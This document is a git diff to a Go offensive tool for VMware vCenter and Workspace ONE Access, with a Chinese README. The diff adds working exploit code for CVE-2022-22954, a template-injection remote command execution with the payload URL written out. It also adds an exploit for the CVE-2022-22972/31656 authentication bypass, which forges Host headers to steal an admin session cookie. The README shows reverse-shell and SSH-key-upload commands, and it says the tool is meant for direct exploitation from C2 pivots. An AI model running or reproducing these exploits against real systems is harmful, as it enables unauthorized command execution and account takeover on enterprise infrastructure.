diff --git a/README.md b/README.md index 0057db1..f7524a1 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,11 @@ -目前集成了对Vcenter log4j漏洞的检测和利用功能,思路来自于带哥[@j5s](https://github.com/j5s)的项目[SuperFastjsonScan](https://github.com/j5s/SuperFastjsonScan),原理参考[Golang实现RMI协议自动化检测Fastjson](https://www.anquanke.com/post/id/249402),简单来说就是不借助dnslog之类的平台,只要你和目标主机是通的并且你的主机/跳板没有被防火墙做端口限制,那就能直接验证目标是否远程调用了你的rmi服务。 +写这个工具单纯是为了方便,它没有什么高大上的东西 + + + +目前集成了对Vcenter log4j漏洞的检测和利用功能,思路来自于带哥[@j5s](https://github.com/j5s)的项目[SuperFastjsonScan](https://github.com/j5s/SuperFastjsonScan),原理参考[Golang实现RMI协议自动化检测Fastjson](https://www.anquanke.com/post/id/249402),简单来说就是不借助dnslog之类的平台,只要你和目标主机是通的并且你的主机/跳板没有被防火墙做端口限制,那就能直接验证目标是否进行了远程调用。 @@ -30,7 +34,7 @@ VMware vRealize Operations Manager ... 一般Vcenter都放在内网,并且漏洞特征也都是烂大街,像什么fscan啦一扫就出来了,那么VcenterKiller就不是用来检测目标是否存在漏洞的,而是直接尝试利用,一般通过CS/MSF在跳板上来执行,所以去掉了其余花里胡哨的输出。 -为什么用GO,因为Python写起来方便但是用起来很蛋疼,各种依赖库,编译吧体积太大,C#没法跨平台,写到一半扔了。 +为什么用GO,因为Python写起来方便但是用起来很蛋疼,各种依赖库,并且编译出来体积太大,C#没法跨平台,写到一半扔了。 #### 3.使用方法 @@ -43,7 +47,10 @@ go build -o main.exe ./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //传公钥 ./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx ./main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j -./main.exe -u https://192.168.1.1 -m log4center -t rshell -r rmi://xx.xx.xx.xx:1099/xx //get reverseshell +./main.exe -u https://192.168.1.1 -m log4center -t rshell -r rmi://xx.xx.xx.xx:1099/xx //get reverseshell and other +./main.exe -u https://xx.xx.com -m 22954 whoami +./main.exe -u https://xx.xx.com -m 22972 //get cookie +./main.exe -u https://xx.xx.com -m 31656 //If CVE-2022-22972不能用就换CVE-2022-31656 ``` #### 4.免责声明 @@ -60,6 +67,7 @@ go build -o main.exe V1.0 上线 V1.1 针对CVE-2021-21985添加了利用rmi反弹shell的功能,前提是你要启动一个rmi服务器,例如jndi-injection-exploit V1.2 增加了针对Vcenter的log4j检测和验证能力 +V1.3 增加了对Vmware WorkSpace One Access的漏洞验证功能,包括CVE-2022-22954 远程命令执行;CVE-2022-22972、CVE-2022-31656身份鉴别绕过 ... ``` diff --git a/main.go b/main.go index 531f08e..809bed0 100644 --- a/main.go +++ b/main.go @@ -1,6 +1,8 @@ package main import ( + "GO_VCENTER/src/c22954" + "GO_VCENTER/src/c22972" "GO_VCENTER/src/c_21972" "GO_VCENTER/src/c_21985" "GO_VCENTER/src/c_22005" @@ -40,12 +42,12 @@ func usage() { func banner() { ban := ` - __ __ _ _ ___ _ _ - \ \ / /__ ___ _ __ | |_ ___ _ __ | |/ (_) | | ___ _ __ - \ \ / / __/ _ \ '_ \| __/ _ \ '__| | ' /| | | |/ _ \ '__| - \ V / (_| __/ | | | || __/ | | . \| | | | __/ | - \_/ \___\___|_| |_|\__\___|_| |_|\_\_|_|_|\___|_| by schira4396 - ` +__ __ _ _ ___ _ _ +\ \ / /__ ___ _ __ | |_ ___ _ __ | |/ (_) | | ___ _ __ + \ \ / / __/ _ \ '_ \| __/ _ \ '__| | ' /| | | |/ _ \ '__| + \ V / (_| __/ | | | || __/ | | . \| | | | __/ | + \_/ \___\___|_| |_|\__\___|_| |_|\_\_|_|_|\___|_| by schira4396 +` fmt.Println(ban) } @@ -59,7 +61,11 @@ func main() { flag.Usage = usage flag.Parse() banner() - if len(os.Args) == 1 { + if len(os.Args) == 3 { + usage() + os.Exit(0) + } + if url == "" || cve == "" { usage() os.Exit(0) } @@ -111,6 +117,22 @@ func main() { } } + case "22954": + { + if command != "" { + c22954.Start(url, command) + } else { + usage() + } + } + case "22972": + { + c22972.Start(url, "", "22972") + } + case "31656": + { + c22972.Start(url, "", "31656") + } } } diff --git a/src/c22954/c22954.go b/src/c22954/c22954.go new file mode 100644 index 0000000..5f6645c --- /dev/null +++ b/src/c22954/c22954.go @@ -0,0 +1,56 @@ +package c22954 + +import ( + "fmt" + urlparse "net/url" + "os" + "regexp" + "strings" + + "github.com/imroc/req/v3" +) + +func Start(url, cmd string) { + exploit(url, cmd) + +} + +func check(content string) bool { + if strings.Contains(content, "console.log") { + return true + } else { + return false + } +} + +func exploit(url, command string) { + url = url + "/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7b%22freemarker.template.utility.Execute%22%3fnew()(%22{command}%22)%7d" + + target := strings.Replace(url, "{command}", urlparse.QueryEscape(command), -1) + // fmt.Println(target) + client := req.C() + client.EnableForceHTTP1() + client.EnableInsecureSkipVerify() + // client.SetProxyURL("http://127.0.0.1:8080") + resp, err := client.R().Get(target) + if err != nil { + println("[-] Connection err, please check the network.") + os.Exit(0) + } + // fmt.Println(resp.String()) + if check(resp.String()) { + reg := regexp.MustCompile(`id:(.*)device`) + res := string(reg.FindAllString(resp.String(), -1)[0]) + res = strings.TrimRight(res, "\n, device") + res = strings.TrimLeft(res, "id: ") + res = strings.Replace(res, "\\n", "\n", -1) + if res == "" { + fmt.Println("[?] The exploit is successful but has no result.") + } else { + fmt.Printf("%s", res) + } + + } else { + fmt.Println("[-] Exploitation failure.") + } +} diff --git a/src/c22972/c22972.go b/src/c22972/c22972.go new file mode 100644 index 0000000..afb7ed8 --- /dev/null +++ b/src/c22972/c22972.go @@ -0,0 +1,115 @@ +package c22972 + +/* cve-2022-31656 too*/ +import ( + "fmt" + "os" + "regexp" + "strings" + "time" + + "github.com/imroc/req/v3" +) + +func Start(url, host, cve string) { + if cve == "22972" { + uri_cve = "/SAAS/auth/login/embeddedauthbroker/callback" + } else if cve == "31656" { + uri_cve = "/SAAS/t/_/;/auth/login/embeddedauthbroker/callback" + } + Exploit(url, host) +} + +var uri_cve = "" + +func retry(client *req.Request, url string) { + login, err := client.Post(url + uri_cve) + if err != nil { + println("[-] Connection err, please check the network.") + os.Exit(0) + // log.Fatal(err) + } + + cookies := login.Cookies() + if len(cookies) > 1 && login.StatusCode == 302 { + + } else { + println("[-] Exploitation failure.") + } + + for i := 0; i < len(cookies); i++ { + if cookies[i].Name == "HZN" { + println(cookies[i].Value) + os.Exit(0) + } + } +} + +func Exploit(url, host string) { + client := req.C() + client.EnableForceHTTP1() + client.SetCommonHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36") + client.EnableInsecureSkipVerify() + client.SetTimeout(18 * time.Second) + client.SetRedirectPolicy(req.NoRedirectPolicy()) + resp, err := client. + R(). + Get(url + "/SAAS/auth/login") + if err != nil { + println("[-] Connection err, please check the network.") + os.Exit(0) + + } + + content := resp.String() + xsrf_token := resp.Cookies()[1].Value + data := map[string]string{ + "protected_state": "e" + getprotectState(content), + "userStoreName": "System Domain", + "username": "admin", + "password": "123", + "userstoreDisplay": "System Domain", + "horizonRelayState": gethorizonRelayState(content), + "stickyConnectorId": "", + "acion": "signIn", + "LOGIN_XSRF": xsrf_token, + } + domain := []string{"oast.online", "oast.pro", "oast.fun"} + + rec := client.R(). + SetFormData(data) + if len(host) == 0 { + client.SetTimeout(15 * time.Second) + for _, value := range domain { + fmt.Println("[*] Use domain: " + value) + rec.SetHeader("Host", value) + retry(rec, url) + } + } else { + rec.SetHeader("Host", host) + retry(rec, url) + } + +} + +func gethorizonRelayState(conntent string) string { + reg := regexp.MustCompile(`"horizonRelayState" value="(.*)/>`) + res := reg.FindAllString(conntent, -1) + horizonRelayState := strings.TrimLeft(res[0], `"horizonRelayState" value="`) + horizonRelayState = strings.TrimRight(horizonRelayState, `"/>`) + // fmt.Println(horizonRelayState) + return horizonRelayState + +} + +func getprotectState(content string) string { + reg := regexp.MustCompile(`"protected_state" value="(.*)"/>`) + res := reg.FindAllString(content, -1) + // fmt.Print(res[0] + "\n") + protected_state := strings.TrimLeft(res[0], `"protected_state" value="`) + // fmt.Println(protected_state + "qq") + protected_state = strings.TrimRight(protected_state, `"/>`) + // fmt.Println("---------------------------\n") + // fmt.Println(protected_state) + return protected_state +}